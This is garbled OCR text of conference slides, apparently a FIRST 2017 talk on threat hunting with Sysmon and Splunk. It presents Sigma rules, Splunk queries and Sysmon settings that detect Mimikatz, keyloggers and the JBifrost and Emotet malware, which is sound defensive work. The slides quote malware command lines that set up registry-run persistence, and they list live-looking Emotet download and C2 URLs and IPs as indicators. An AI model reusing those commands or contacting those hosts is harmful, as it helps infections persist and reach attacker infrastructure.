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C:\> whoami /all

_‘

# Swiss Post CERT [/ SOC [ CSIRT, since 2007 (10 years!)

+ Tom Ueltschi

— Focus: Malware Analysis, Threat Intel, Threat Hunting, Red Teaming
+ Talks about «Ponmocup Hunter» (Botconf, DeepSec, SANS DFIR Summit)
* BotConf 2016 talk with same title
* Member of many trust groups / infosec communities
# FIRST SIG member (Malware Analysis, Red Teaming)

« Twitter: @c_APT ure
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* Introduction on Sysmon and public ces
+ Brief recap of BotConf talk with examples

* Threat Hunting & Advanced Detection examples
— Malware Delivery — Persistence Methods
— Internal Recon — Lateral Movement

— Internal Peer-to-Peer C2 using Named Pipes

— Detecting Mimikatz (even file-less [ in-memory)
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Standing on the Shoulders of Giants

It’s hard to come up -

with totally new ideas
and approaches

+* Know and use what’s
already available out
there

* Share experiences
what works and how
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| @ detect-respond.blogspot.ch/2013/03/the-pyramid-of-pain.html?view=classic

Enterprise Detection & Response Posted 1st March 2013 by David Bianco

| want to be able

ic!
The Pyramid of Pain to detect this!

Update 2014-01-17

I'm updating this post to include a slightly revised version of the Pyramid. The o
added a new level for hashes. | also updated the text fo account for this.

The Pyramid of Pain

ge | made was that |

To illustrate this concept, | have created what | like to

‘ eToughl call the Pyramid of Pain. This simple diagram shows
gh: the relationship between the types of indicators you
T -Challenging might us_e '.cr:n c_ietect an adversary's activities and how
much pain it will cause them when you are able to deny
Network/ : those indicators to them. Let's examine this diagram in
Host Artifacts -Annnwng more detail J
Domain Names *Sim p|E

*Easy )
Types of Indicators

eTrivial , _ o
Let's start by simply defining types of indicators make

up the pyramid:
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SOC Detection Processes ("Loops")

F Hypothesize -
Ll -
- "5,

» .
. oE

: : ¥
Investigate Implement
ry . Detection S Rules &

Improvements : Analytics

Most examples

© 2017 Sqrrl Data, Inc. All rights reserved.

@sqrrl

Hunting Content Development Automated Detection

are belong to here
Ll 1B D UlErE
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How to Decide What to Hunt for and How Often

You can find a large variety of different threats by hunting. but how do you determine where to start and what to search for?

Using these three steps, you'll be able to generate successful hunt plans to uncover new Tactics, Technigues, and
Procedures (TTPs) used by cyber adversaries and build out a threat hunting calendar.

Step 1

Choose Your Favorite Attack Model

There are several variations of Cyber Threat Kill Chains, all
of which define what actions adversaries must complete in
order to achieve their objective while operating within an
enterprize network. It doesm't matter which one you select;
choose what makes the most sense to you.

Lackhesd Martinis Cytér Kl Chain FinaEye's Attack Lifesdyole
o - .

N \»»» ﬂA

Garrers Cyber Attack Model MITRES ATTRCK Lifestycle

ey ==

e e e o =

Far this example, we will select and use MITRE s ATTECK lifecycle.

@sqrrl
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How to Decide What to Hunt for and How Often @sqrrl

You can find a large variety of different threats by hunting. but how do you determine where to start and what to search for?

Using these three steps, you'll be able to generate successful hunt plans to uncover new Tactics, Technigues, and
Procedures (TTPs) used by cyber adversaries and build out a threat hunting calendar.

Step 1
Lackhesd Martinis Cytér Kl Chain FinaEye's Attack Lifesdyole

Choose Your Favorite Attack Model - —

- Step 2
There are several variations of C

of which define what actions ad{ |dentify Most Concerning Activities
order to achieve their objective W

enterprize network. It doesn't mq After selecting a model, the next step is to go through each of the phases in the model and identify all the potential attacker

choose what makes the most s

RMaantain

Weapanize Explait

MITRE

activities that you are most concerned with. Each phase in a model can include multiple categories of higher level tactics that
an adversary could use, which can then be broken down to a number of actual attacker activities, which you will hunt for.

Persistence

Privilege Escalation
Defense Evasion
Credential Access
Discovery

Lateral Movement
Execution

Collection

Exfiltration

Command and Control
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| hittps:/fattack.mitre.org Al /File b ATTRE _attack _tactics.png

File:MITRE attack tactics.png

File File history File usage hietadata

Persistence
Privilege Escalation
Defense Evasion
Credential Access
Discovery

Lateral Movement
Execution
Collection

& ExampleS Wi” COver MlTRE Exfiltration

Command and Control

Contral

Maintain

Deliver

Recon

Weaponize

Exploit

Execute

— Persistence (Registry, Filesystem)

— Discovery [ Lateral Movement [ Execution (WMI)
— Command and Control (Named Pipes)

— Credential Access (Mimikatz)
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https://attack mitre.orgfwiki/Technique_ R atrix

Technique Matrix

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Execution

Collection

Exfiltration

Command and
Contrel

Arcessipiity Features

Accessibility Features

Binary Padding

Brute Force

AcCcount Discovery

Application
Deployment Software

Command-Line
Interface

Audio Capture

Altornated Exfiltration

Commonly Used Port

Bypass User Account

Application Window

Exploitation of

Communication

Appinit DLLS Appinit DLLS Credential Dumping ) ) Execution through API |Automated Collection |Data Compressed Through Removaile
Cantrol Discovery Yulnerability ]
Media
Authentication Bypass User Account - Credential File and Directory ) Execution through ) )
Code Signing ) ) ) Logon Scripts Clipboard Data Data Encrypted Connection Proxy
Package Cantrol Manipulation Discovery Module Load

Basic Input/Cutput

DLL Injection

Component Firmware

Credentials in Files

Local Wetwork:
Canfiguration

Pass the Hash

Graphical User

Data Staged

Data Transfer Size

Custom Command

System . Interface Limits and Control Protocol
Discovery
. o Local Metwork § X .
DLL Search Order Component Ohbject Exploitation of Diata from Local Exfiltration Ower Custom Cryptographic
Bootkit Connections Pass the Ticket Installtil
Hijacking Madel Hijacking wulnerability ) System Alternative Protacal Protocol
Discovery
: e ) Exfiltration Ower
Change Default File Exploitation of o MNetwark Service Remote Desktop i Data from Metwark
N DLL Injection Input Capture _ MSBuild Command and Control |Data Encoding
Association wulnerabhility Scanning Protocal Shared Drive
Charnnel
File System . § .
. i DLL Search Crder . Peripheral Device . Data from Removable |Exfiltration Cwer Other X
Component Firmware  |Permissions o Netwark Sniffing _ Remate File Copy Powershell ) ) Diata Obfuscation
Weakness Hijacking Discovery Media Wetwark Medium

Component Object
Model Hijacking

Legitimate Credentials

DLL Side-Loading

Twio-Factor
Authentication
Interception

Permission Groups
Discovery

Remate Services

Process Hollowing

Email Collection

Exfiltration Ower
Fhysical Medium

Fallback Channels

DLL Search Order

Disabling Security

Replication Through

Offsets

Discovery

) ) Local Port Monitar Process Discovery ) Regsvcs/Regasm Input Capture Scheduled Transfer  |Multi-Stage Channels
Hijacking Tools Removahle Media
External Remote Exploitation of Multiband
X Mew Service N Query Registry Shared Webroot Regswi2 Screen Capture L
Services “ulnerability Communication
File System
- ) Remote System ) )
Permissions Path Interception File Deletion Discove Taint Shared Content  |Rundll32 Yideo Capture Multilayer Encryption
Yeakness v
) File System Logical Security Software ) )
Hypervisar Scheduled Task Thirt-party Software | Scheduled Task Remote File Copy

Legitimate Credentials

Service Registry
Permissions
Weakness

Indicatar Blocking

System Information
Discovery

Windaws Admin
Shares

Scripting

Standard Application
Layer Protocol

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE

Seite 10




| https://attack mitre.ord
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Uses

Defensive Gap Analysis

An organization can use the ATTE&CK Matrix a5 a way to visualize defensive coverage of technigques and identify

where gaps exist. Prioritization of bui
based on documented adversary LS

groups.

The example below is a notional casy
and intrusion detection analytics to ¢
resources next to cover more technig
or anakytic coverage of cyber advers

This nothssal y hivw min thi MITRE
ATTRCK S AR == H . wmctivity
waithin thair network.

[ 5o o bigh confidence et detecthon or defense of an sdeersay

ncaven i mresctLem ot s 1 thie et on or chetanae of an advernary

I 5eoves no confdence st or Blockisg capabiliy of an adversary

MITRE

5 TNF W WL Conponion. & Rt e raed
A bor Pt Pk Crlritacbon Unimied
ConeMurmine 151288
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TomU @c APT _ure - Mar 16
What @MITREattack technigue (if any) would describe "access token stealing”
£.g. using #CobaltStrike steal_token ?

&

Contributions
are welcome

Pl TomU @c AFPT ure - Mar 16
- not sure if | overlooked it? Where is "token stealing"?

attack.mitre .orghaikizAll_Techn. ..

[Eventiog x| Bescon 172.16 206094380 X

t

ATTECK ATT&CK
@MITREattack

|

Replying to @c_APT_ure

haven't added this yet. Please shoot any
additional info you have to attack@mitre.org
and we'll work to include it

LIKES @
2 s N
3 o e N

T8 PM - 16 Mar 2017

Raffi’s Abridged Gui

This blog post is a fast
familiar with Meterpretq

nbaltstrike .com

blog.c
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& ﬂ- | B Secure | hittps:ffcarmitre.orgfwikiMain_Page W ';:‘

Cyber
Analytic

Repository

main page
CARET
Analtic List
Contribute
Help

Coverage
Drata Model
Sensors

Tonols
Frintahle version
Fermaneant link

Contact
Contact Us

Main page Help Discussion Read ‘“iew source “iew history | =earch Q

Welcome to the Cyber Analytics Repository

The Cyber Analytics Repository (CAR) s a knowledge base of analtics developed by MITREE & based on
the Adversary Tactics, Technigues, and Common Knowledge (ATTECKT™) threat model.

If wou want to start exploring try wiewing a list of all analytics or use the CAR Exploration Tool (CARET) &,
Analtics stored in CAR contain the following information

» a hypothesis which explains the idea behind the analytic

» the information domain or the primary domain the analytic is designed to operate within {e.g. host,
network, process, external)

references to ATT&CHK Technigues and Tactics that the analytic detexts

the type of analytic

a pseudocode description of how the analytic might be implemented

a unit test which can be run to trigger the anakytic

CAR i5 intended to be shared with cyber-defenders throughout the community. Check out the help page
for an introduction to using CAR. See the Methodology page for more information on how CAR analytics
are created. For gquestions regarding the use of the wiki software, consult the Mediawiki User's Guide.
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. Enable cutlines
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1w threathunting.net

Thr‘ea+Hun+ina

Pr'ojech

Huhﬂhcj For adversaries in your™ [T
environment Project Members

L @DavidJBianco

Connect With Us

L d @ThreatHuntProj

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 21




| & GitHub, Inc [US] | https:/fgithub.com ThreatHuntingProject/ThreatHunting ftree/master/hunts

] woan

ThreatHuntingProject / ThreatHunting

<> Code Issues 2

Branch: raster =

Pull requests 0

ThreatHunting / hunts /

Projects 0 Wiki

m DavidlBianco Added new hunt for suspcious command shells in process execution data

El analyze_producer_consumer_ratio.md

E) antivirus_logs.md

E| beacon_detection_wia_intra_reguest_...

[E] checking-how-outsiders-see-you.md

E| comparing_hest_images_memary_du..

E) eritical_process_impersanation.md
[E] dynarmic_dns_cZ.md

E| emet_log_mining.md

E| golden_ticketmd

E) http_uri_analysis.md

E| http_user_agent_analysis.md

E] internet_facing_http_request_analysi..

E] lateral-mowvement-via-explicit-creden..
[E] lateral-movement-windows-authent..

E] lateral_mowvement_detection_via_pra...

E| net_session_c2.md
E| ntfs_extended_attribute_analysis.md
E privileged-group-tracking.md

E| psexec-windows-events.md

Added new PCR reference

Added a bunch of hunts from DigitalGuardian

Added @jacker twitter link for malware C2 hunting.

Added new Safebrowsing hunt

Fixed links to published procedures (remowved a few stale ones, fixed

Added link to string distance algorithrm description

@ Watch~ | 111 o Star | 3292 YFork 65

Pulse Graphs

Crestenewfile = Uploadfiles = Findfile  History

Latest commit 2211bbd on Dec 20, 2016

7 months ago
10 months ago
10 months ago
10 months ago
10 months ago

5 months ago

fixes

Fixe

Crea

fixes

Mew

Initi4

Add

Add

Add

Add

Swit

Corr

Swit

El ram_dumping.md
El rdp_external_access.md
El renamed-toals.md
El rogue_listeners.md
[E] shimcache_amcache.md

El suspidious_command_shells.md

[E] suspicious_process_creation_wia_win...

El wehshell_behavior.md

El wehshells.md

El windows_autaruns_analysis.md

E) windows_driver_analysis.md

[E) windows_prefetch_cache_analysis.md

El windows_service_analysis.md

Fixed links to published procedures iremowed a few stale ones, fixed
Added refs to MITRE Cyber Analytic Repository

Added refs to MITRE Cyber Analytic Repository

Fixed links to published procedures iremowed a few stale ones, fixed
Fixed links to published procedures (remowved a few stale ones, fixed
Added new hunt for suspcious command shells in process execution data
Added refs to MITRE Cyber Analytic Repository

Minor edits to cean up formatting

Switches _ to " for pandoc latex of inline code

Added refs to MITRE Cyber Analytic Repository

Switches _ to " for pandoc latex of inline code

Switches _ to * for pandoc latex of inline code

Switches _ to " for pandoc latex of inline code

10 months ago
4 months ago
4 months ago

10 months ago

10 months ago
4 months ago
4 months ago
8 months ago
9 months ago
4 months ago
9 months ago
S months ago

9 months ago
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| & GitHub, Inc [US] | https:/fgithub.com AWardDg/ThreatHunter-Flayvbook

tactical groups.

Goals

The ThreatHunter-Playbook

F.oberto Rodriguez @Cyb3rvardog

A Threat hunter's playbook to aid the development of technigues and hypothesis for hunting campaigns by leveraging Sysmon
and Windows Events |ogs. This project will provide specific chains of events exclusively at the host level so that you can take
them and develop logic to deploy queries or alerts in your preferred tool or format such as Splunk, ELK, Sigma, GrayLog etc. This
repo will follow the structure of the MITRE ATT&CK framework which categorizes post-compromise adwersary behavior in

e Expedite the development of technigques an
e Help Threat Hunters understand patterns o
e Reduce the number of false positives while
e Provide enough resources to help on the d

e Share technical hunt concepts and technig

Resources

o MITRE ATT&CK

e MITRE CAR

e Sgrrl Hunting Technigques
e Sysmon DFIR

e CyberWardog Labs Blog
e MalwareSoup Blog

|

=l

Author

e Roberto Rodriguez @Cyb3riwardlg

Contributors

e Andy @malwaresoup

e hichael Haggis @h_Haggis
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Make Security Monitoring Great Again

Make Security Monitoring Great Again

Sigma - Generic Signatures for SIEM
Systems
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Sigma
Format Converter

Generic Signature Applies Predefined and
Description Custom Field Mapping
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| B GitHub, Inc [US] | https:/fgithub.com Meo 230 /sigm a/ftreefm asterfrules fvindows fsysmon

Neo23x( / sigma

£» Code Issues 10

Pull requests 0

Projects 0 Wik Pulse

Eranch: master | sigma / rules / windows / sysmon /

Florian Roth regsvr3a2 Anomalies

£ sysmon_bitsadmin_download.ym|
& swsmorn_mahware_backconnect_parts.yml
£ sysmon_rmahware_verclsid_shellcode.ym|

[ swsmorn_mimikatz_detection_lsass.yml

& swsmon_mimikatz_inmemory_detection.y..,

£ sysmon_mshta_spawn_shellyml

[ swsmon_office_macro_cmd.ym|

£ sysmon_office_shellyml

[ sysmon_password_dumper_lsassym|

E swsmon_powershell_download.ym|

Added reference

Rules: Suspidious locations and back connect ports
Swsmon as 'service' of product ‘windowes'

Swsmoaon as 'service' of product ‘windowes'

Sysrnaon as 'service' of product ‘windowes'

Minar fix = list to single walue

Sysmoaon as 'service' of product ‘windowes'

FSHTA Rule w1

Swsmoaon as 'service' of product ‘windowes'

Sysrnaon as 'service' of product ‘windowes'

& Watch= 48 o Star | 177 YWFork 28

Graphs

Create new file  Uploadfiles  Findfile = History

Latest commit aS5c3f42 10 hours ago

9 days ago
28 days ago
amonth ago
a month ago
a month ago
10 hours ago
a maonth ago

4 days ago
a month ago

a month ago
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| B GitHub, Inc [US] | https:/fgithub.com Meo 230 /sigm a/ftreefm asterfrules fvindows fsysmon

Necl3x(O / sigma ©Watch~ | 48 o Star | 177 YFork | 28
Branch: master» | sigma / rules /windows / sysmon / sysmon_mimikatz_detection_lsass.yml Findfile = Copy path
i ﬂ Florian Roth Sysmon as ‘service' of product ‘windows' a@d 77 on Mar 13

0 contributars

17 lines (16 sloc) 628 Bytes Raw = Blame @ History [ P
E title: Mimikatz Detection LSASS Access
status: experimental
E description: Detects process access to LSASS which 1s typical for Mimikatz (@x108@ PROCESS QUERY LIMITED _INFORMATION, @xe4@@ PROCE
reference: https: fonedrive.live.comsview. aspraresid=00266469919@F1EA L 28434ithint=File%?cppt xdapp=PonerPoint&authkey=4MYCRTKE_%115
[ logsources
[ product: windows
zeryice: sysmon
i detection:
selection:
[ - EventID: 1@
E TargetImage: 'Ciiwindowsiswystem32ylsass.exe’
Grantediccess: '@xl4ala’
§ condition: selection
falsepositives:
[ - unknouWn
E level: high
L1« »
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Application Mumber of events: 3,921 (!) New events available

Date and Time Source
1. Information 59/2017 1:26:32 PM Windows Error Repo...
@ Error 5/9/2017 1:26:29 PM Application Error
{D Information 5972017 1:18:28 PM Windows Error Repo... v
< >
Event 1001, Windows Error Reporting X

General  Details

Fault bucket , type 0 ~

Event Mame:

R M -

Cabldi0 | Florian Roth @oyvbh3rops - 11h

Broble s i It's alwayws a good idea to monitor Malware Protection Engine crashes as caused
P1: MsMpE .

o by @taviso's PoC code

P3: 580f0a6f

o CvE-2017-0230

P53 1.1.12101. . . . . .

P: 55edceb2 github .com/Meoaxlssigmal... pic twitter.com/ciPJEFHalIP
Log Mame: Application

Source: Windows Error Reporting Logged: 5/9/2017 1:26:32 PM

Event |D: 1001 Task Category: Mone

Level: Infarmation Keywords: Classic

Florian Roth iz oybiErops - 110
It's always a good idea to monitar Malware Protection Enging crashes as caused

by @taviso's Poc code
CWE-2017-0290
github com/Mec23x0isigmal. . pic twitter comd/ciPJEFHaUR
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Application MNumber of events: 3,921 () b

Date and

> win_susp_msmpeng_crash.yml e <> sysmon_susp_net_execution.ymi <> win_admin_share_access.yml [Q

JInfarmation

Event 1001, Windows Error Reporting

General Details

Fault bucket , type 0
Event Marme: APPC
Response: Mot available
Cab Id: 0

Problem signature:
P1: b

p2 g

P3: 580f0a6f

P4: mpengine.dll
P5: 1.1.12101.0

P6: 55edceb2

Log Mame: Application
Source: Windows Error Rep
1001

Information

It's always a good idea to monitor Malware Protection Engine crashes as caused by @taviso's PoC code
CWVE-2017-0290
github.co n le sigma/... pic twitter.com/ciPJEFHaUP
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Application I - : .
plasber S ebehis - Sl liE win_susp_msmpeng_crash.yml @ < sysmon_susp_net_execution.ym!

Date and

(i) Information
<

Event 1001, Windows Error Reporting

prometheus:tools neo$

prometheus:tools neo$ python3 sigmac.py -t splunk ../rul

es/windows/builtin/win_susp_msmpeng_crash.yml

(Source="Application Error" EventID="1000") OR (Source="

Windows Error Reporting" EventID="1001") (“"MsMpEng.exe")
("mpengine.dl11")

prometheus:tools neo$ |

Log Mame: Application
Source: Windows Error Rep
Event ID: 1001

Level: Information

. Florian Roth @cyh?
o - Code : It's always a good idea to monitor Malware Protection Engine crashes as caused by @taviso's PoC code
CVE-2017-0290
github .com/Neo23x0/sigma/... pic twitter.com/ciPJEFHaUP
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| B GitHub, Inc. [US] | https://github.com/thomaspatzke/EQUEL E EQ U E L

EQUEL - an Elasticsearch QUEry Language

The projects was motivated by usage of Elasticsearch and Kibana for log analysis in incident response and as tool in web
application security testing. Both are great tools for this purpose, but Kibana exposes only a fraction of the power of
Elasticsearch and is missing some features that would make log analysis much easier.

This project aims to create a query language for Elasticsearch with the following goals:

e Easy to understand and to write for humans (compared to Query DSL JSON expressions)

e Exposure of a big amount of Elasticsearch capabilities (compared to the usual Query String expressions)

e Extensible by plugin architecture

Credits

e Extension of Elasticsearch capabilities by post processing plugins

* Easy addition of own output formats and visualizations with output ply ~ § 0o Btk (@Cyb3rOps) for

e Linear query structure instead of nesting o Many valuable suggestions and feedback
e "Everything fits in one line of an EQUEL expression” - especially aggreg o The fancy logo
¢ Easy integration in projects that already use Elasticsearch * Ralf Glauberman for giving it the EQUEL name

Note: EQUEL is neither Splunk SPL nor SQL. It's not the idea to "emulate” one of both.
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| @ GitHub, Inc [US] | https:/fgithub.com M Haggisfsysmon-dfir

Sysmon - DFIR

A curated list of resources for learning about deploying, managing and hunting with Microsoft Sysmon. Contains presentations,
deployment methods, configuration file examples, blogs and additional github repositories,

Sysmon Learning Resources

o General
o Presentations

m How to Go from Responding to Hunting with Sysinternals Sysmon - Mark Russinovich

m Tracking Hackers on Your Metwork with Sysinternals Sysmon - hark Russinowich

m Advanced Incident Detection and Threat Hunting using Sysmon and Splunk Video - Tom Ueltschi

m Advanced Incident Detection and Threat Hunting using Sysmon and Splunk Slides - Tom Ueltschi

m Splunking the Endpoint - James Brodsky

m Splunking the Endpoint: "Hands on!” Ransomyware Edition - James Brodsky & Dimitri bMcKay
o Graylog

m lon-Storm Graylog App

m Back to Basics- Enhance Windows Security with Sysmon and Graylog - Jan Dobersten
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Connectto

RSAConference?2016 Protect

San Francisco | February 29 -March 4 | Moscone Center

Tracking Hackers on Your
Network with Sysinternals
Sysmon

Mark Russinovich

CTO, Microsoft Azure
Microsoft Corporation
@markrussinovich
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Sysmon Events

Process Create

Process Terminated

Time
stomping

Driver Loaded
Image Loaded

File Creation Time Changed

Network Connection

CreateRemoteThread

RawAccessRead*

DLL [/ Proc
Injection

B WOl WiNn < o0 e

Sysmon Service State Change

Error 255

*Contributed by David Magnotti 7 RSAConference2016
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AT
is

RSAConference201/ -

San Francisco | February 13-17 | Moscone Center ; POWER OF
B OPPORTUNITY
W

N

SESSIONID: HTA-TOS

How to Go from Responding to Hunting with
Sysinternals Sysmon

@ Mark Russinovich
CTO, Microsoft Azure

Microsoft Corporation N
@markrussinovich B Microsoft
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New event types v5 & v6
Not covered in prev talk

ooy | bventid
Sysmon Service Status Changed 0 Process Access 10
Process Create 1 File Create 11
File Creation Time Changed 2 Registry Object CreateDelete 12
Network Connection 3 Registry Value Create 13
Sysmon Service State Change 4 Registry Object Rename 14
Process Terminated 5 File Create Stream Hash 15
Driver Loaded 6 Sysmon Configuration Changed 16
Image Loaded 7 Pipe Created 17 v6
CreateRemoteThread 8 Pipe Connected 18
RawAccessRead 9 Error 255
a" Microsoft 10 s RSAConference2017
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Tracking Mimikatz

® | recommend always including Isass.exe process access:

<ProcessAccess onmatch="include">
<TargetImage condition="is">C:\windows\system32\lsass.exe</TargetImage>

</Processfccess?>

® Mimikatz request 0x1410:
e 0x1000: PROCESS QUERY UT TR BUTITS e

ScurceProcessid: 2220

LIMITED_INFORMATION SourceThreadic: 4904

Scurcelmage Cldemommmikatzexe
|TargetProcess GUID: (BE0023d9-e575-52a0-0000-D010c 640000}

e 0x0400: PROCESS_QUERY_ TorgetProcessic: 544

|Targetirnage: C\Windows\ systerndloase sve

INFORMATION e
CallTrace: CAWindows\SYSTEMIZ ntdlLdll+ a5554| O\ Windows systern 32\ KERMELBASE dil+ 18855|C\ dema’mimikatz.sxe-
|665e2|Chdemolmimikatz.exe + 85344) Chdemomimikaz eoe+ 6652 1] Chdemchimimilcatee+ 49d 38| Chdemoumimikats.ede +

® 0}(00 10 : p ROCESS_VM_R E AD iﬂ;’ﬁ:ﬂm?mﬁrrﬂmmnwm.m.ﬁch:wmm\wemmnnneuanu. 1B102)C:

® Exclude GrantedAccess of 0x1000, 0x1400, 0x400

Generel Details

a" Microsoft L RSAConference2017
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What's a Good Configuration?

® One that doesn’t overwhelm your systems
e Excessive resource usage

e Excessive log volume

® Crafting is iterative:
Edit
Configuration

e Exclude known sources

— E.g. OneDrive for file time stamp
changes

e Include sensitive targets:
— E.g. Lsass.exefor credential theft

® When investigating likely breach, bias for data

a" Microsoft RSAConference2017
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Best Practices and Tips

® Installit on all your systems
® Proven at scale

e Data will be there when you need it for DFIR

® Configure all event types for maximum visibility
e Filter out noise, especially uninteresting image loads
e [est overhead on mission-critical systems

® Make sure event log is large enough to capture desired time window

® Forward events off box
® To prevent deletion by attackers
e For analyzing aggregate network behavior

® For tracing activity between systems (e.g. pass-the-hash)
=. Microsoft 37 - RSAConference2017
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| @ GitHub, Inc [US] | https:/fgithub.com SwiftOnSecurity/sysmon-cornfig

sysmon-config | A Sysmon configuration file for everybody
to fork

This is a Microsoft Sysinternals Sysmon configuration file template with default high-quality event tracing.

The file provided should function as a great starting point for system change monitoring in a self-contained package. This
configuration and results should give you a good idea of what's possible for Sysmon. Mote that this does not track things like
authentication and other Windows events that are also vital for incident investigation,

sysmonconfig-exportxml

Because wirtually every line is commented and sections are marked with explanations, it should also function as a tutorial for
Sysmon and a guide to critical monitoring areas in Windows systems,

Pull requests and issue tickets are welcome, and new additions will be credited in-line or on Git.
See forks of this configuration
See @ion-storm Threat Intelligence SIEM fork

Mote: Exact syntax and filtering choices are deliberate to catch appropriate entries and to have as little performance impact as
possible. Sysmon's filtering abilities are different than the built-in Windows auditing features, so often a different approach is
taken than the normal static listing of every possible important area.
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Brief Recap of BotConf 2016 Talk

fame

30 NOVEMBER - 2 DECEMBER 2016
LYON - FRANCE = A

Advanced Incident Detection and
Threat Hunting using Sysmon
(and Splunk)

Tom Ueltschi, Swiss Post CERT

Botconf 2016 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 1
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i

Using the free Sysmon tool you can search / alert for
known malicious process behaviors

* Image names [ paths (wrong paths)
— svchost.exe, ZAPPDATA%\Oracle\bin\javaw.exe
* CommandLine parameters
— [stext, vssadmin delete shadows, rundll32 qwerty
« Parent- [ Child-Process relationships
— winword.exe = explorer.exe, wscript.exe = rundll32.exe
* Process injection
— #winlogon.exe
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i

Using the free Sysmon tool you can hunt for
suspicious process behaviors

* Lateral movement using admin shares
— ADMINs, Cs, IPCs (\\127.0.0.1\...)
# Internal C&C P2P comms over named pipes [ SMB
— processes using port 445 between workstations
* Rarest processes connecting thru proxy (or directly to Internet)
— count by hashes, IMPHASHes, clients, image names
« Suspicious Powershell activity
— Powershell -EncodedCommand | -enc ...
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alert sysmon java-malware-infection JBifrost RAT

index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode="1"
(Users AppData Roaming (Jjavaw.exe OR xcopy.exe)) OR (cmd cscript vbs)

| search Image="*\\AppData\\Roaming\\Oracle\\bin\\java*.exe*"

OR (Image="*\\xcopy.exe*" CommandLine="*\\AppData\\Roaming\\Oracle\\*")

OR CommandLine="*cscript*Retrive*.vbs*"

Analysed 14 processes in total (System Resource Monitor).

L 4 javaw.exe -jar "C:\7aa15bd505a24 0a8bf62735a5389a530322945eec6ce9d7b6ad299ca33b2b1b0 jar" (PID: 3448)

Lqi:md_exe /C cscript exe % TEMP%\Retrive5604618104564430760 vbs PID- 2560) @ | €

® cscript exe %TEMP%\Retrive5604618104564430760 vbs (PID- 2488) @

Lji:md_exe /C cscript exe %TEMP%\Retrive2855047595189580672 vbs [PID- 2956) @ | €=
® cscript.exe $%TEMPY%\Retnive2855047595189580672 vbs PID: 3028) @
— m | xcopy.exe xcopy ' ¥oPROGRAMFILES%\ Java\jre1.8.0_25" "%APPDATA%\Oracle\" /e (PID: 3220) @

~ | reg exe reg a oftware\Microsoft\Windows\CurrentVersion\Run /v yrGf] -
\Oracle\bin\javaw.exe\" -jar \"%USERPROFILE%:\UQnxI]kKPii\BgHSYtccjkN.ELbrtQ\"™" /T (PID: 2428)

Z /d"\"%APPDATA%

— i1 attrib.exe attrib +h "%USERPROFILESA\UGNxI|KKPIi* " (PID- 3080) 4>

— i attrib exe attrib +h "%USERPROFILEA\UQNxI|kKPii" (PID: 2740) &

— 4. javaw exe -jar %USERPROFILE%:\UQnxIJkKPii\BgHSYtccjkN ELbrtQ (PID- 2576) E |
|: @ cmd exe /C cscript exe % TEMP%\Retrive4945796107772212709 vbs [PID- 3104) 4

-

- ® cscriptexe % TEMP%\Retrive4945796107772212709 vbs (PID: 2820) @
@ cd.exe /C cscript.exe % TEMP%:\Retrive2144031314835145968 vbs (PID: 2580) @
L ® cscript exe % TEMP%\Retrive2144031314835145968 vbs (PID: 2772) @

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE

Seite 44




-
* Keyloggers and Password-Stealers abusing NirSoft tools

— Limitless Logger

— Predator Pain

— HawkEye Keylogger
— iSpy Keylogger

— KeyBase Keylogger

CommandLine: <PATH-TO-EXE>\*.exe /stext <PATH-TO-TXT>\*.txt
CommandLine: <PATH-TO-EXE>\*.exe /scomma ...

index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode="1"

( stext OR scomma )
| search CommandLine="* /stext *" OR CommandLine="* /scomma *"
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e
#+ BONUS: detecting new Banking Trojan variant (Heodo/Emotet)

« wscript.exe (PID: 3064 cmdline: 'C\Windows\System32\WScript.exe' 'C:\DHL__Report___ 5299825420 _Mi___ Apr___ 05__ 2017.js'
MD5: 979DT74T99EAGCEBE16T869AB8DF5204A)

« rccisuaaz.exe (FID: 3168 cmdline: 'ChUsers\LUKETA~1TAppData\LocalTemplrccisuaaz. exe' MDS:
5B3F0C1B0231ET7873B587131B1121359F)

s rccisuaaz.exe (PID: 3224 cmdline: 'CAUsers\LUKETA~1\AppData\LocalTempirccisuaaz exe' MDE:
SB3F0C1BO231ETET3BA8T131B112139F)

« AllPdb.exe (PID: 3256 cmdline: 'Cl\Users\luketaylonAppData\Roaming'\AlIPdD\AlIPdD.exe' MDS:
SB3F0C1BO231ETET3BSE8T131B1121359F)

+ AllPdb.exe (PID: 3264 cmdline: 'CUsers\luketaylorAppData\RoaminglAlIPdb\ANIRdD exe' MDS:
S5B3F0C1B0231ETET73BS8T131B112139F) .
« AllPdb.exe (PID: 3340 cmdline: 'C:\Users\luketaylonAppData\Roaming\AlIPdpAIIPdD.exe' /scomma 'C\Us
ers\LUKETA~1\AppData\Local\Temp\BODG.tmp' MD5: 5B3F0C1B0231E7E73IBSET131B112139F)
= AlIPdb.exe (FID: 3348 cmdline: 'Cl\UsersiluketaylonAppDataiRoaming\AlIPdH\AIIPdb exe' /scomma 'C1Us
ers\LUKETA~1\AppData\Local\Temp\BOE 7 tmp' MD3: 5B3F0C1B0231E7873B58T131B112135F)

— Link in email to download JS from web server (DHL Report *.js)

— Executing JS downloads EXE from web server

— EXE uses «/scomma» parameter (YARA: NirSoft strings in memory)
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#+ BONUS: detecting new Banking Trojan variant (Heodo/Emotet)

« wscript.exe (PID: 3064 cmdline: 'C\Windows\System32\WScript.exe' 'C:\DHL__Report___ 5299825420 _Mi___ Apr___ 05__ 2017.js'
MDS: 9790D74799EABCEBB167869AB8DFS204A)
» rccisuaaz exe (PID: 3168 cmdline: 'CA\Users\LUKETA~1\AppData\LocalTempircc7suaaz.exe' MDS:
5B3F0C1B0231ETET73BS8T131B112139F)
s rccisuaaz.exe (PID: 3224 cmdline: 'CAUsers\LUKETA~1\AppData\LocalTempirccisuaaz exe' MDE:

Posted 5 days, 14 hours ago by techhelplist  file:80aeb507f1cSecc Sdb1d063d6ea71741b34dd 4199404327 3362297381 7523900

[ #geodo #heodo #emotet I dl from :
. 1| http://gravura.ru/download4979/

c? - http:/falphastudios.com/downloadd628/
http://109.228.13.169:443/ | http://drunkreport.com/mB4055kuP D/
— http://162.214.11.56:8080/ | http://heitmann.net/geBY 36357 Nzr/
http://172.106.75.130:443/
